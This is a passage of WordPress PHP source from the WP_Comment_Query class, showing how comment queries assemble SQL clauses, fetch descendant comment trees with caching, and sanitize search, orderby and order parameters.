				// $field_value may be an array.
				$esses = array_fill( 0, count( (array) $field_value ), '%s' );
				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $field_value );
			}
		}

		// 'post_status' and 'post_type' are handled separately, due to the specialized behavior of 'any'.
		foreach ( array( 'post_status', 'post_type' ) as $field_name ) {
			$q_values = array();
			if ( ! empty( $this->query_vars[ $field_name ] ) ) {
				$q_values = $this->query_vars[ $field_name ];
				if ( ! is_array( $q_values ) ) {
					$q_values = explode( ',', $q_values );
				}

				// 'any' will cause the query var to be ignored.
				if ( in_array( 'any', $q_values, true ) || empty( $q_values ) ) {
					continue;
				}

				$join_posts_table = true;

				$esses = array_fill( 0, count( $q_values ), '%s' );
				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ")", $q_values );
			}
		}

		// Comment author IDs for an IN clause.
		if ( ! empty( $this->query_vars['author__in'] ) ) {
			$this->sql_clauses['where']['author__in'] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )';
		}

		// Comment author IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['author__not_in'] ) ) {
			$this->sql_clauses['where']['author__not_in'] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )';
		}

		// Post author IDs for an IN clause.
		if ( ! empty( $this->query_vars['post_author__in'] ) ) {
			$join_posts_table = true;
			$this->sql_clauses['where']['post_author__in'] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )';
		}

		// Post author IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['post_author__not_in'] ) ) {
			$join_posts_table = true;
			$this->sql_clauses['where']['post_author__not_in'] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )';
		}

		$join = '';

		if ( $join_posts_table ) {
			$join .= "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID";
		}

		if ( ! empty( $this->meta_query_clauses ) ) {
			$join .= $this->meta_query_clauses['join'];

			// Strip leading 'AND'.
			$this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] );

			if ( ! $this->query_vars['count'] ) {
				$groupby = "{$wpdb->comments}.comment_ID";
			}
		}

		if ( ! empty( $this->query_vars['date_query'] ) && is_array( $this->query_vars['date_query'] ) ) {
			$this->date_query = new WP_Date_Query( $this->query_vars['date_query'], 'comment_date' );
			$this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() );
		}

		$where = implode( ' AND ', $this->sql_clauses['where'] );

		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );
		/**
		 * Filters the comment query clauses.
		 *
		 * @since 3.1.0
		 *
		 * @param array            $pieces A compacted array of comment query clauses.
		 * @param WP_Comment_Query &$this  Current instance of WP_Comment_Query, passed by reference.
		 */
		$clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) );

		$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
		$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
		$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
		$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
		$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
		$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';

		$this->filtered_where_clause = $where;

		if ( $where ) {
			$where = 'WHERE ' . $where;
		}

		if ( $groupby ) {
			$groupby = 'GROUP BY ' . $groupby;
		}

		if ( $orderby ) {
			$orderby = "ORDER BY $orderby";
		}

		$found_rows = '';
		if ( ! $this->query_vars['no_found_rows'] ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
		$this->sql_clauses['from']    = "FROM $wpdb->comments $join";
		$this->sql_clauses['groupby'] = $groupby;
		$this->sql_clauses['orderby'] = $orderby;
		$this->sql_clauses['limits']  = $limits;

		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";

		if ( $this->query_vars['count'] ) {
			return intval( $wpdb->get_var( $this->request ) );
		} else {
			$comment_ids = $wpdb->get_col( $this->request );
			return array_map( 'intval', $comment_ids );
		}
	}

	/**
	 * Populates found_comments and max_num_pages properties for the current
	 * query if the limit clause was used.
	 *
	 * @since 4.6.0
	 * @access private
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_comments() {
		global $wpdb;

		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
			/**
			 * Filters the query used to retrieve found comment count.
			 *
			 * @since 4.4.0
			 *
			 * @param string           $found_comments_query SQL query. Default 'SELECT FOUND_ROWS()'.
			 * @param WP_Comment_Query $comment_query        The `WP_Comment_Query` instance.
			 */
			$found_comments_query = apply_filters( 'found_comments_query', 'SELECT FOUND_ROWS()', $this );

			$this->found_comments = (int) $wpdb->get_var( $found_comments_query );
		}
	}

	/**
	 * Fetch descendants for located comments.
	 *
	 * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch
	 * the descendant trees for all matched top-level comments.
	 *
	 * @since 4.4.0
	 *
	 * @param array $comments Array of top-level comments whose descendants should be filled in.
	 * @return array
	 */
	protected function fill_descendants( $comments ) {
		global $wpdb;

		$levels = array(
			0 => wp_list_pluck( $comments, 'comment_ID' ),
		);

		/*
		 * The WHERE clause for the descendant query is the same as for the top-level
		 * query, minus the `parent`, `parent__in`, and `parent__not_in` sub-clauses.
		 */
		$_where = $this->filtered_where_clause;
		$exclude_keys = array( 'parent', 'parent__in', 'parent__not_in' );
		foreach ( $exclude_keys as $exclude_key ) {
			if ( isset( $this->sql_clauses['where'][ $exclude_key ] ) ) {
				$clause = $this->sql_clauses['where'][ $exclude_key ];

				// Strip the clause as well as any adjacent ANDs.
				$pattern = '|(?:AND)?\s*' . $clause . '\s*(?:AND)?|';
				$_where_parts = preg_split( $pattern, $_where );

				// Remove empties.
				$_where_parts = array_filter( array_map( 'trim', $_where_parts ) );

				// Reassemble with an AND.
				$_where = implode( ' AND ', $_where_parts );
			}
		}

		$key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) );
		$last_changed = wp_cache_get_last_changed( 'comment' );

		// Fetch an entire level of the descendant tree at a time.
		$level = 0;
		do {
			// Parent-child relationships may be cached. Only query for those that are not.
			$child_ids = $uncached_parent_ids = array();
			$_parent_ids = $levels[ $level ];
			foreach ( $_parent_ids as $parent_id ) {
				$cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed";
				$parent_child_ids = wp_cache_get( $cache_key, 'comment' );
				if ( false !== $parent_child_ids ) {
					$child_ids = array_merge( $child_ids, $parent_child_ids );
				} else {
					$uncached_parent_ids[] = $parent_id;
				}
			}

			if ( $uncached_parent_ids ) {
				// Fetch this level of comments.
				$parent_query_args = $this->query_vars;
				foreach ( $exclude_keys as $exclude_key ) {
					$parent_query_args[ $exclude_key ] = '';
				}
				$parent_query_args['parent__in']    = $uncached_parent_ids;
				$parent_query_args['no_found_rows'] = true;
				$parent_query_args['hierarchical']  = false;
				$parent_query_args['offset']        = 0;
				$parent_query_args['number']        = 0;

				$level_comments = get_comments( $parent_query_args );

				// Cache parent-child relationships.
				$parent_map = array_fill_keys( $uncached_parent_ids, array() );
				foreach ( $level_comments as $level_comment ) {
					$parent_map[ $level_comment->comment_parent ][] = $level_comment->comment_ID;
					$child_ids[] = $level_comment->comment_ID;
				}

				foreach ( $parent_map as $parent_id => $children ) {
					$cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed";
					wp_cache_set( $cache_key, $children, 'comment' );
				}
			}

			$level++;
			$levels[ $level ] = $child_ids;
		} while ( $child_ids );

		// Prime comment caches for non-top-level comments.
		$descendant_ids = array();
		for ( $i = 1, $c = count( $levels ); $i < $c; $i++ ) {
			$descendant_ids = array_merge( $descendant_ids, $levels[ $i ] );
		}

		_prime_comment_caches( $descendant_ids, $this->query_vars['update_comment_meta_cache'] );

		// Assemble a flat array of all comments + descendants.
		$all_comments = $comments;
		foreach ( $descendant_ids as $descendant_id ) {
			$all_comments[] = get_comment( $descendant_id );
		}

		// If a threaded representation was requested, build the tree.
		if ( 'threaded' === $this->query_vars['hierarchical'] ) {
			$threaded_comments = $ref = array();
			foreach ( $all_comments as $k => $c ) {
				$_c = get_comment( $c->comment_ID );

				// If the comment isn't in the reference array, it goes in the top level of the thread.
				if ( ! isset( $ref[ $c->comment_parent ] ) ) {
					$threaded_comments[ $_c->comment_ID ] = $_c;
					$ref[ $_c->comment_ID ] = $threaded_comments[ $_c->comment_ID ];

				// Otherwise, set it as a child of its parent.
				} else {

					$ref[ $_c->comment_parent ]->add_child( $_c );
					$ref[ $_c->comment_ID ] = $ref[ $_c->comment_parent ]->get_child( $_c->comment_ID );
				}
			}

			// Set the 'populated_children' flag, to ensure additional database queries aren't run.
			foreach ( $ref as $_ref ) {
				$_ref->populated_children( true );
			}

			$comments = $threaded_comments;
		} else {
			$comments = $all_comments;
		}

		return $comments;
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns
	 *
	 * @since 3.1.0
	 * @access protected
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $string
	 * @param array $cols
	 * @return string
	 */
	protected function get_search_sql( $string, $cols ) {
		global $wpdb;

		$like = '%' . $wpdb->esc_like( $string ) . '%';

		$searches = array();
		foreach ( $cols as $col ) {
			$searches[] = $wpdb->prepare( "$col LIKE %s", $like );
		}

		return ' AND (' . implode(' OR ', $searches) . ')';
	}

	/**
	 * Parse and sanitize 'orderby' keys passed to the comment query.
	 *
	 * @since 4.2.0
	 * @access protected
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			'comment_agent',
			'comment_approved',
			'comment_author',
			'comment_author_email',
			'comment_author_IP',
			'comment_author_url',
			'comment_content',
			'comment_date',
			'comment_date_gmt',
			'comment_ID',
			'comment_karma',
			'comment_parent',
			'comment_post_ID',
			'comment_type',
			'user_id',
		);

		if ( ! empty( $this->query_vars['meta_key'] ) ) {
			$allowed_keys[] = $this->query_vars['meta_key'];
			$allowed_keys[] = 'meta_value';
			$allowed_keys[] = 'meta_value_num';
		}

		$meta_query_clauses = $this->meta_query->get_clauses();
		if ( $meta_query_clauses ) {
			$allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) );
		}

		$parsed = false;
		if ( $orderby == $this->query_vars['meta_key'] || $orderby == 'meta_value' ) {
			$parsed = "$wpdb->commentmeta.meta_value";
		} elseif ( $orderby == 'meta_value_num' ) {
			$parsed = "$wpdb->commentmeta.meta_value+0";
		} elseif ( $orderby == 'comment__in' ) {
			$comment__in = implode( ',', array_map( 'absint', $this->query_vars['comment__in'] ) );
			$parsed = "FIELD( {$wpdb->comments}.comment_ID, $comment__in )";
		} elseif ( in_array( $orderby, $allowed_keys ) ) {

			if ( isset( $meta_query_clauses[ $orderby ] ) ) {
				$meta_clause = $meta_query_clauses[ $orderby ];
				$parsed = sprintf( "CAST(%s.meta_value AS %s)", esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) );
			} else {
				$parsed = "$wpdb->comments.$orderby";
			}
		}

		return $parsed;
	}

	/**
	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 * @access protected
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'DESC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}
}

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